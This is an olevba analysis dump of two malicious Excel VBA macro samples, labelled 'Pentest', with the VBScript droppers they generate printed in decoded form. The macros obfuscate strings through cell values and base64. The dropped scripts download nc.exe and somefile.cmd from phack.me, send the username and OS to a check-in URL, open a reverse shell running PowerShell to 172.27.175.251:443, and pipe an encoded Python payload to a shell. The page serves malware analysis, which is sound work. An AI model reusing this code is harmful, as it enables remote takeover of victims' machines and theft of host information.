Pentest VBA VBS sample

80610bb3a5be887e9eaa7f6883725b24c358862b39b52c4766634554f02bc9d2

## Uploaded by @JohnLaTwC
## Sample Hash: 80610bb3a5be887e9eaa7f6883725b24c358862b39b52c4766634554f02bc9d2
olevba3 0.53.1 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OpX:M-S-HB-- 9eaa7f6883725b24c358862b39b52c4766634554f02bc9d2
===============================================================================
FILE: 9eaa7f6883725b24c358862b39b52c4766634554f02bc9d2
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Sub Button2_Click()

Range("B18").Value = BuildTicket()
Range("B24").Value = BuildUser()
Range("B26").Value = BuildTimestamp()

Call project

End Sub

Public Sub project()

Dim FileNum As Integer
Dim DataLine As String
Dim str As String, p As String, project As String, gag As String, app As String
Dim file As String, writefile As String
Dim LineNum As Integer
Dim Hoidu
Dim FPath As String, F As String
FPath = Environ("USERPROFILE") & ThisWorkbook.Sheets(1).Cells(168, 2).Value & ThisWorkbook.Sheets(1).Cells(168, 1).Value & ThisWorkbook.Sheets(1).Cells(168, 3).Value

file = "project.txt"
app = "Office Version: " & Application.Version
Open (FPath + file) For Output As #1
Print #1, ThisWorkbook.Sheets(1).Cells(167, 1).Value
Close #1

FileNum = FreeFile()
Open (FPath + file) For Input As #FileNum

LineNum = 0
While Not EOF(FileNum)
    Dim s As String
    
    Line Input #FileNum, DataLine
    LineNum = LineNum + 1
    
    s = Mid(DataLine, 11, 1) & Mid(DataLine, 13, 1) & Mid(DataLine, 15, 1) _
    & Mid(DataLine, 17, 1) & Mid(DataLine, 19, 1) & Mid(DataLine, 21, 1) _
    & Mid(DataLine, 23, 1)
    strw = s & " "
    p = Mid(DataLine, 24, 1)
    s = s & p
    str = str & s
        
    s = Left(DataLine, 1) & Mid(DataLine, 3, 1) & Mid(DataLine, 5, 1) _
    & Mid(DataLine, 7, 1) & Mid(DataLine, 9, 1)
    str = str & s
    
    p = p & Mid(DataLine, 25, 1) _
    & Mid(DataLine, 27, 1) & Mid(DataLine, 29, 1)
Wend
Close #FileNum
gag = ThisWorkbook.Sheets(1).Cells(167, 1).Value
F = "testut" & p
Open (FPath + F) For Output As #1
Print #1, "csv " & ThisWorkbook.Sheets(1).Cells(166, 3).Value & "." & ThisWorkbook.Sheets(1).Cells(167, 3).Value _
& """ , """ & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 15, 1) _
& ":" & ThisWorkbook.Sheets(1).Cells(168, 5).Value & """, " & """" & app & """"
Print #1, "Su" & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 27, 1) & " csv(ur, p, o)"

Print #1, "D" & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 19, 1) & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 4, 1) _
& " " & ThisWorkbook.Sheets(1).Cells(169, 1).Value
Print #1, "Set ss = GetObject(""winmgmts:"").InstancesOf(""Win32_OperatingSystem"")"
Print #1, "For Each System In ss"
Print #1, "os = System.Caption"
Print #1, "Next"
Print #1, "Set hjkl " & ThisWorkbook.Sheets(1).Cells(169, 2).Value & """S" _
& Mid(gag, 15, 1) & Mid(gag, 17, 1) & Mid(gag, 19, 1) & Mid(gag, 21, 1) _
& Mid(gag, 23, 1) & "ing" & Mid(gag, 24, 1) & ThisWorkbook.Sheets(1).Cells(169, 3).Value & """)"
Print #1, "If " & ThisWorkbook.Sheets(1).Cells(169, 4).Value & "p) Then"
Print #1, "ikil = hjkl.BuildPath(p, Mid(ur, InStrRev(ur, ""/"") + 1))"
Print #1, "ElseIf " & ThisWorkbook.Sheets(1).Cells(169, 4).Value & "Left(p, InStrRev(p, ""\"") - 1)) Then"
Print #1, "hjkl." & Mid(ThisWorkbook.Sheets(1).Cells(169, 2).Value, 3, 6) & Mid(ThisWorkbook.Sheets(1).Cells(169, 4).Value, 6, 6) _
& " (p)"
Print #1, "ikil = hjkl.BuildPath(p, Mid(ur, InStrRev(ur, ""/"") + 1))"
Print #1, "End If"
Print #1, "Set dfgh = hjkl.OpenTextFile(ikil, 2, True)"
Print #1, "Set werg = CreateObject(""WinHttp.WinHttpRequest.5.1"")"
Print #1, "werg.Open ""GET"", ur, False"
Print #1, "werg.Send"
Print #1, "For i = 1 To LenB(werg.ResponseBody)"
Print #1, "dfgh.Write Chr(AscB(MidB(werg.ResponseBody, i, 1)))"
Print #1, "Next"
Print #1, "dfgh.Close( )"
Print #1, "u = CreateObject(""Wscript.Network"").UserName"
Print #1, "b = ""u="" & u & ""&o="" & os & "" -- "" & o"
Print #1, "a= " & Left(ThisWorkbook.Sheets(1).Cells(166, 3).Value, 18) _
& "check-in." & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 21, 2) & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 21, 1) _
& "?"" & b"
Print #1, "Set werg = CreateObject(""WinHttp.WinHttpRequest.5.1"")"
Print #1, "werg.Open ""GET"", a, False"
Print #1, "werg.Send"
Print #1, "ikil = ikil & "" " & ThisWorkbook.Sheets(1).Cells(167, 4).Value & " -e power" & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 1, 1) _
& Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 3, 1) & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 5, 1) & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 7, 1) _
& Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 7, 1) & "." & ThisWorkbook.Sheets(1).Cells(167, 3).Value & """"
Print #1, "Set humbug = " & Mid(str, 1, 8) & Mid(ThisWorkbook.Sheets(1).Cells(169, 2).Value, 3, 15) & """" & str & """" & ")"
Print #1, "humbug.Run ikil, 0"
Print #1, "End Su" & Mid(ThisWorkbook.Sheets(1).Cells(167, 1).Value, 27, 1)
Close #1
project = FPath & F
Set Hoidu = CreateObject(str)
Hoidu.Run (strw & project)

End Sub

Private Function BuildTicket()
Dim ticket As String
Dim i As Integer
 
For i = 1 To 5

    If Int((2 * Rnd) + 1) = 1 Then
        ticket = ticket & Chr(Int((90 - 65 + 1) * Rnd + 65))
    Else
        ticket = ticket & Int((9 - 0 + 1) * Rnd + 0)
    End If
Next i

BuildTicket = ticket

End Function

Private Function BuildUser()

BuildUser = Application.UserName

End Function

Private Function BuildTimestamp()

BuildTimestamp = "Trukket: " & Now

End Function




## testut.vbs
csv "https://phack.me/nc.exe" , "c:\temp", "Office Version: 12.0"
Sub csv(ur, p, o)
Dim a, b, os, u, i, dfgh, hjkl, werg, ikil
Set ss = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
For Each System In ss
os = System.Caption
Next
Set hjkl = CreateObject("Scripting.FileSystemObject")
If hjkl.FolderExists(p) Then
ikil = hjkl.BuildPath(p, Mid(ur, InStrRev(ur, "/") + 1))
ElseIf hjkl.FolderExists(Left(p, InStrRev(p, "\") - 1)) Then
hjkl.CreateFolder (p)
ikil = hjkl.BuildPath(p, Mid(ur, InStrRev(ur, "/") + 1))
End If
Set dfgh = hjkl.OpenTextFile(ikil, 2, True)
Set werg = CreateObject("WinHttp.WinHttpRequest.5.1")
werg.Open "GET", ur, False
werg.Send
For i = 1 To LenB(werg.ResponseBody)
dfgh.Write Chr(AscB(MidB(werg.ResponseBody, i, 1)))
Next
dfgh.Close( )
u = CreateObject("Wscript.Network").UserName
b = "u=" & u & "&o=" & os & " -- " & o
a= "https://phack.me/check-in.php?" & b
Set werg = CreateObject("WinHttp.WinHttpRequest.5.1")
werg.Open "GET", a, False
werg.Send
ikil = ikil & " 172.27.175.251 443 -e powershell.exe"
Set humbug = wscript.CreateObject("wscript.shell")
humbug.Run ikil, 0
End Sub



## Sample Hash: 889c87b0eab9f66b543c190a7ad4465671e8324afded991604f6c64333f0ea53
olevba3 0.53.1 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OpX:M-SIHB-- 889c87b0eab9f66b543c190a7ad4465671e8324afded991604f6c64333f0ea53
===============================================================================
FILE: 889c87b0eab9f66b543c190a7ad4465671e8324afded991604f6c64333f0ea53
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
'Attribute VB_Name = "ThisDocument"
'Attribute VB_Base = "1Normal.ThisDocument"
'Attribute VB_GlobalNameSpace = False

Option Explicit

Private Const hoppsann = 16515072
Private Const heisann = 258048
Private Const whopsann = 4032
Private Const hoisann = 63

Private Const jahaja = 16711680
Private Const mhm = 65280
Private Const yupp = 255

Private Const jada = 262144
Private Const jepp = 4096
Private Const yess = 64
Private Const yeah = 256

Private Const woho = 65536


'Public Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
Private Sub Dude()

Dim result As Long
Dim cmd As String
cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
cmd = cmd + "llZF9jb250ZXh0Jyk6c3NsLl9jcmVhdGVfZGVmYXVsdF9odH"
cmd = cmd + "Rwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF"
cmd = cmd + "9jb250ZXh0OwppbXBvcnQgc3lzLCB1cmxsaWIyO2ltcG9ydC"
cmd = cmd + "BlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl"
cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="

MsgBox (Trallala(cmd))

result = system("echo " & Trallala(cmd) & " | python &")
End Sub
Private Sub CommandButton1_Click()

Call Dude

End Sub

Private Sub Hey()

Dim SomeThing As Integer
Dim FPath As String
FPath = "c:\temp\opplegg.vbs"
SomeThing = FreeFile
Open FPath For Output As #SomeThing
Print #SomeThing, Trallala("IEhUVFBEb3dubG9hZCAiaHR0cHM6Ly9waGFjay5tZS9zb21lZmlsZS5jbWQiLCAiYzpcdGVtcCI=")
Print #SomeThing, Trallala("IFN1YiBIdHRwRG93bmxvYWQoIG15VVJMLCBteVBhdGgp")
Print #SomeThing, Trallala("IERpbSBpLCBvYmpGaWxlLCBvYmpGU08sIG9iakhUVFAsIHN0ckZpbGUsIHN0ck1zZw==")
Print #SomeThing, Trallala("IENvbnN0IEZvclJlYWRpbmcgPSAxLCBGb3JXcml0aW5nID0gMiwgRm9yQXBwZW5kaW5nID0gOA==")
Print #SomeThing, Trallala("IFNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoICJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIgKQ==")
Print #SomeThing, Trallala("IElmIG9iakZTTy5Gb2xkZXJFeGlzdHMobXlQYXRoKSBUaGVu")
Print #SomeThing, Trallala("IHN0ckZpbGUgPSBvYmpGU08uQnVpbGRQYXRoKG15UGF0aCwgTWlkKCBteVVSTCwgSW5TdHJSZXYobXlVUkwsICIvIikgKyAxICkgKQ==")
Print #SomeThing, Trallala("IEVsc2VJZiBvYmpGU08uRm9sZGVyRXhpc3RzKCBMZWZ0ICggbXlQYXRoLCBJblN0clJldiggbXlQYXRoLCAiXCIpIC0gMSApICkgVGhlbg==")
Print #SomeThing, Trallala("IHN0ckZpbGUgPSBteVBhdGg=")
Print #SomeThing, Trallala("IEVuZCBJZg==")
Print #SomeThing, Trallala("IFNldCBvYmpGaWxlID0gb2JqRlNPLk9wZW5UZXh0RmlsZSggc3RyRmlsZSwgRm9yV3JpdGluZywgVHJ1ZSAp")
Print #SomeThing, Trallala("IFNldCBvYmpIVFRQID0gQ3JlYXRlT2JqZWN0KCAiV2luSHR0cC5XaW5IdHRwUmVxdWVzdC41LjEiICk=")
Print #SomeThing, Trallala("IG9iakhUVFAuT3BlbiAiR0VUIiwgbXlVUkwsIEZhbHNl")
Print #SomeThing, Trallala("IG9iakhUVFAuU2VuZA==")
Print #SomeThing, Trallala("IEZvciBpID0gMSBUbyBMZW5CKCBvYmpIVFRQLlJlc3BvbnNlQm9keSAp")
Print #SomeThing, Trallala("IG9iakZpbGUuV3JpdGUgQ2hyKCBBc2NCKCBNaWRCKCBvYmpIVFRQLlJlc3BvbnNlQm9keSwgaSwgMSApICkgKQ==")
Print #SomeThing, Trallala("IE5leHQ=")
Print #SomeThing, Trallala("IG9iakZpbGUuQ2xvc2UoICk=")
Print #SomeThing, Trallala("IFNldCBXc2hTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIik=")
Print #SomeThing, Trallala("IFdzaFNoZWxsLlJ1biAiYzpcdGVtcFxzb21lZmlsZS5jbWQi")
Print #SomeThing, Trallala("IEVuZCBTdWI=")
Close #SomeThing

End Sub
Public Function Trallala(sString As String) As String

    Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
    Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
    Dim lTemp As Long

    sString = Replace(sString, vbCr, vbNullString)
    sString = Replace(sString, vbLf, vbNullString)

    If InStrRev(sString, "==") Then
        iPad = 2
    ElseIf InStrRev(sString, "=") Then
        iPad = 1
    End If

    For lTemp = 0 To 255
        Select Case lTemp
            Case 65 To 90
                bTrans(lTemp) = lTemp - 65
            Case 97 To 122
                bTrans(lTemp) = lTemp - 71
            Case 48 To 57
                bTrans(lTemp) = lTemp + 4
            Case 43
                bTrans(lTemp) = 62
            Case 47
                bTrans(lTemp) = 63
        End Select
    Next lTemp

    For lTemp = 0 To 63
        lPowers6(lTemp) = lTemp * yess
        lPowers12(lTemp) = lTemp * jepp
        lPowers18(lTemp) = lTemp * jada
    Next lTemp

    bIn = StrConv(sString, vbFromUnicode)
    ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)

    For lChar = 0 To UBound(bIn) Step 4
        lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
                lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
        lTemp = lQuad And jahaja
        bOut(lPos) = lTemp \ woho
        lTemp = lQuad And mhm
        bOut(lPos + 1) = lTemp \ yeah
        bOut(lPos + 2) = lQuad And yupp
        lPos = lPos + 3
    Next lChar

    sOut = StrConv(bOut, vbUnicode)
    If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
    Trallala = sOut

End Function


## opplegg.vbs:

 HTTPDownload "https://phack.me/somefile.cmd", "c:\temp"
 Sub HttpDownload( myURL, myPath)
 Dim i, objFile, objFSO, objHTTP, strFile, strMsg
 Const ForReading = 1, ForWriting = 2, ForAppending = 8
 Set objFSO = CreateObject( "Scripting.FileSystemObject" )
 If objFSO.FolderExists(myPath) Then
 strFile = objFSO.BuildPath(myPath, Mid( myURL, InStrRev(myURL, "/") + 1 ) )
 ElseIf objFSO.FolderExists( Left ( myPath, InStrRev( myPath, "\") - 1 ) ) Then
 strFile = myPath
 End If
 Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
 Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
 objHTTP.Open "GET", myURL, False
 objHTTP.Send
 For i = 1 To LenB( objHTTP.ResponseBody )
 objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
 Next
 objFile.Close( )
 Set WshShell = WScript.CreateObject("WScript.Shell")
 WshShell.Run "c:\temp\somefile.cmd"
 End Sub